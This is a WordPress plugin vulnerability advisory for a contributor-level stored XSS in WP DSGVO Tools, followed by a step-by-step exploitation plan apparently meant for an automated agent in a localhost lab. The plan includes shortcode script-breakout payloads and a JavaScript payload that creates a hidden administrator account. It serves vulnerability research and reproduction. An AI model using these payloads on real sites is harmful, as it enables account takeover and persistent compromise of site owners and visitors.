WP DSGVO Tools (GDPR) <= 3.1.36 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'lw_content_block' Shortcode
Description
The WP DSGVO Tools (GDPR) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'lw_content_block' shortcode in all versions up to, and including, 3.1.36 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=3.1.36Source Code
WordPress.org SVNThis research plan targets **CVE-2026-0914**, a Stored Cross-Site Scripting (XSS) vulnerability in the **WP DSGVO Tools (GDPR)** plugin. ### 1. Vulnerability Summary The `WP DSGVO Tools (GDPR)` plugin registers a shortcode `[lw_content_block]` intended to display specific compliance-related content…
Show full research plan
This research plan targets CVE-2026-0914, a Stored Cross-Site Scripting (XSS) vulnerability in the WP DSGVO Tools (GDPR) plugin.
1. Vulnerability Summary
The WP DSGVO Tools (GDPR) plugin registers a shortcode [lw_content_block] intended to display specific compliance-related content blocks. In versions up to and including 3.1.36, the callback function associated with this shortcode fails to sanitize or escape user-provided attributes before rendering them back to the page. Because WordPress allows users with the Contributor role and above to create posts and use shortcodes, an attacker can inject malicious JavaScript into a shortcode attribute. This script is then stored in the post content and executes in the browser of any user (including administrators) who views the post.
2. Attack Vector Analysis
- Shortcode:
[lw_content_block] - Vulnerable Attributes: Likely
id,title, orslug(inferred). - Authentication Level: Authenticated (Contributor or higher).
- Preconditions: The plugin must be active.
- Vector: Post/Page creation or update. The payload is delivered via the
post_contentparameter in a WordPress post creation request.
3. Code Flow (Inferred)
- Registration: The plugin uses
add_action( 'init', ... )to calladd_shortcode( 'lw_content_block', [ $this, 'render_content_block' ] ). - Input: A Contributor saves a post containing
[lw_content_block id='"><script>alert(1)</script>']. - Processing: When a user views the post, WordPress parses the shortcode and calls the handler (e.g.,
render_content_block( $atts )). - Vulnerable Sink: The handler extracts attributes using
shortcode_atts(). It likely uses one of these attributes (e.g.,$atts['id']) directly in an HTML string:return '<div id="lw-' . $atts['id'] . '">...</div>';
- Output: Because
$atts['id']is not wrapped inesc_attr(), the payload breaks out of theidattribute and injects a<script>tag.
4. Nonce Acquisition Strategy
To exploit this as a Contributor via the automated agent, you must obtain a valid nonce for post creation/editing.
- Login: Log in to the WordPress dashboard as a user with the
Contributorrole. - Access Post Editor: Navigate to
/wp-admin/post-new.php. - Extract Nonce: Use
browser_evalto extract the required nonces for the WordPress heartbeats or post submission.- Primary Nonce: The
_wpnoncefield in the#post_author_overrideor simply the one provided in thewp-adminglobals. - JS Variable:
browser_eval("wp.apiFetch.nonce")orbrowser_eval("document.querySelector('#_wpnonce').value").
- Primary Nonce: The
- REST API Alternative: If the Gutenberg editor is used, nonces are often found in
window.wpApiSettings.nonce.
5. Exploitation Strategy
The goal is to create a new post as a Contributor containing the malicious shortcode and then verify it executes for an Administrator.
Step 1: Create the Post
- Tool:
http_request - Method:
POST - URL:
http://localhost:8080/wp-admin/post.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body Parameters:
action:editpostpost_ID: (Obtained from thepost-new.phpvisit)_wpnonce: (Extracted nonce)post_title:GDPR Compliance Checkcontent:[lw_content_block id='"><script>alert(document.domain)</script>']post_status:publish(orpendingif Contributor cannot publish; the XSS will still fire in the preview)
Step 2: Trigger the XSS
- Tool:
browser_navigate - URL: The permalink of the newly created post.
- Observation: The browser should trigger an alert box showing the domain.
6. Test Data Setup
- Install Plugin: Ensure
shapepress-dsgvoversion3.1.36is installed. - Create User:
wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Create Dummy Content (Optional): Create a legitimate content block via the plugin settings if the shortcode requires an existing ID to render (though usually, the attribute is reflected even if the lookup fails).
7. Expected Results
- The HTTP response for the post creation should be a
302redirect to the post editor. - The HTML source of the rendered post should contain:
<div id="lw-""><script>alert(document.domain)</script>">...</div> - The JavaScript payload should execute automatically upon page load.
8. Verification Steps
- Database Check:
wp db query "SELECT post_content FROM wp_posts WHERE post_title='GDPR Compliance Check'" - Response Inspection:
Usehttp_request(GET) on the post URL and grep for the raw payload:# (Example logic for the agent) # Check if the payload is escaped or raw grep -q "<script>alert(document.domain)</script>" response_body.html
9. Alternative Approaches
- Attribute Variations: If
idis sanitized, tryslug,title, orclass. - Attribute Breakout: Try breaking out of a different context, such as a class:
[lw_content_block id='1' class='x" onmouseover="alert(1)"'] - Action Hijacking: Instead of
alert(), use a payload that attempts to create a new admin user by fetching a nonce from/wp-admin/user-new.phpand POSTing to the same.
Payload for Admin Account Creation (Conceptual):
fetch('/wp-admin/user-new.php').then(r=>r.text()).then(h=>{
let n=h.match(/name="_wpnonce_create-user" value="([^"]+)"/)[1];
fetch('/wp-admin/user-new.php',{
method:'POST',
headers:{'Content-Type':'application/x-www-form-urlencoded'},
body:`action=createuser&_wpnonce_create-user=${n}&user_login=backdoor&email=evil@evil.com&pass1=Password123!&pass2=Password123!&role=administrator`
})
})
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.